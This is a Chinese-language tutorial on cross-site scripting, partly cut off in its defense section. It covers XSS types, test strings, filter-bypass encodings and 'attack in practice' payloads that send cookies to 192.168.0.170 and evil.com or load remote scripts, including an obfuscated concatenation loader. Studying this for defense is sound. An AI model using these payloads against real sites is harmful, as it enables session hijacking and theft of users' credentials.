一文详述XSS漏洞
字数 2133 2025-08-29 08:29:41

XSS漏洞全面解析与防御指南

一、XSS漏洞概述

XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的Web安全漏洞,攻击者通过在网页中注入恶意脚本,当其他用户浏览该页面时,恶意脚本会在用户浏览器中执行。

1.1 XSS攻击原理

XSS攻击利用浏览器动态展示数据的功能,在HTML页面中嵌入恶意代码。当用户浏览该页时,这些潜入的恶意代码会被执行,攻击者从而可以控制用户浏览器。

1.2 XSS与CSS的区别

XSS是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。

二、XSS攻击类型

2.1 反射型XSS(非持久型)

特点

  • 一次性攻击
  • 恶意代码通常存在于URL中
  • 需要诱使用户点击恶意链接

常见注入点

  • 网站搜索栏
  • 用户登录入口
  • 输入表单

示例

">

2.2 存储型XSS(持久型)

特点

  • 恶意脚本永久存储在服务器
  • 更具威胁性
  • 隐蔽性强

常见注入点

  • 论坛、博客、留言板
  • 网站评论、日志等交互处

示例


2.3 DOM型XSS

特点

  • 基于文档对象模型(DOM)
  • 不需要与服务器交互
  • 完全在客户端处理

常见注入点

  • 通过JS脚本对文档对象进行编辑
  • 修改页面元素的场景

示例


三、XSS攻击危害

  1. 网络钓鱼,获取各类用户账号
  2. 窃取用户cookies资料
  3. 劫持用户会话,执行任意操作
  4. 强制弹出广告页面、刷流量
  5. 网页挂马
  6. 任意篡改页面信息、删除文章
  7. 进行大量客户端攻击如DDoS
  8. 获取客户端信息(浏览历史、真实IP等)
  9. 控制受害者机器向其他网站发起攻击
  10. 结合其他漏洞(如CSRF)实施进一步危害
  11. 提升用户权限,进一步渗透网站
  12. 传播跨站脚本蠕虫

四、XSS测试语句

4.1 基础测试语句

<script>alert(1)</script>

<svg onload=alert(1)>
<a href=javascript:alert(1)>

4.2 常用标签测试

img标签


<IMGSRC=javascript:alert(String.formCharCode(88,83,83))>



a标签

<a href="javascript:alert('xss')">aa</a>
<a href=javascript:eval(alert('xss'))>aa</a>
<a href="javascript:aaa"onmouseover="alert(/xss/)">aa</a>
<a href=""onclick=eval(alert('xss'))>aa</a>

input标签

<input value="" onclick=alert('xss') type="text">
<input name="name" value="" onmouseover=prompt('xss') bad="">
<input name="name" value=""><script>alert('xss')</script>

form标签

<form action=javascript:alert('xss') method="get">
<form action=javascript:alert('xss')>
<form method=post action=aa.asp?onmouseover=prompt('xss')>

iframe标签

<iframe src=javascript:alert('xss');height=5width=1000/><iframe>
<iframe src="data:text/html,<script>alert('xss')</script>"></iframe>

五、XSS绕过技术

5.1 常规绕过方法

  1. 大小写混写
<ScRipt>ALeRt("XSS");sCRipT>
  1. 双写绕过
<scscriptript>alert(1)</scriscriptpt>
  1. 嵌套绕过
ript>alert(/xss/);script>alert(/xss/);script>
  1. 空字符绕过
09ipt>ALeRt(/XSS/);sCRipT>

5.2 特殊字符限制绕过

  1. 限制"符号

  1. 限制'符号


  1. 限制()符号

  1. 限制()'"符号

5.3 编码绕过

  1. ASCII编码
<script>alert(String.fromCharCode(88,83,83))</script>
  1. URL编码
<a href="javascript:%61%6c%65%72%74%28%32%29">123</a>
  1. 八进制编码
<script>eval("\141\154\145\162\164\50\61\51");</script>
  1. 十六进制编码
<script>eval("\x61\x6c\x65\x72\x74\x28\x31\x29")</script>
  1. JS Unicode编码
<script>\u0061\u006c\u0065\u0072\u0074('xss');</script>
  1. HTML编码

  1. Base64编码
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

六、XSS攻击实战

6.1 构造攻击Payload

  1. 基本攻击
<a href="javascript:eval(document.location='http://192.168.0.170/?cookie='+document.cookie)">xss</a>
  1. 改进版攻击
<a href="javascript: (function() {var i=new Image(); i.src='http://192.168.0.170/?cookie='+encodeURIComponent(document.cookie); window.location='http://example.com'})()">xss</a>

6.2 远程攻击Payload

  1. 引入外部JS文件
<script src="http://www.evil.com/xss.js"></script>
<script src=//www.evil.com/xss.js></script>
  1. 创建恶意脚本文件(xss.js):
var img=document.createElement("img");
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
  1. 使用jQuery加载外部JS
<script>$.getScript("//www.xsstools.com/xss.js");</script>

6.3 字符拼接加载外部JS

<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+' src=ht'</script>
<script>z=z+'tp://www.'</script>
<script>z=z+'xsstools'</script>
<script>z=z+'.com/a'</script>
<script>z=z+'mER></sc'</script>
<script>z=z+'ript>")'</script>
<script>eval(z)</script>

七、XSS防御措施

7.1 输入检查

  1. 检查特殊字符(<、>、'、"等)
  2. 检查XSS特征敏感字符(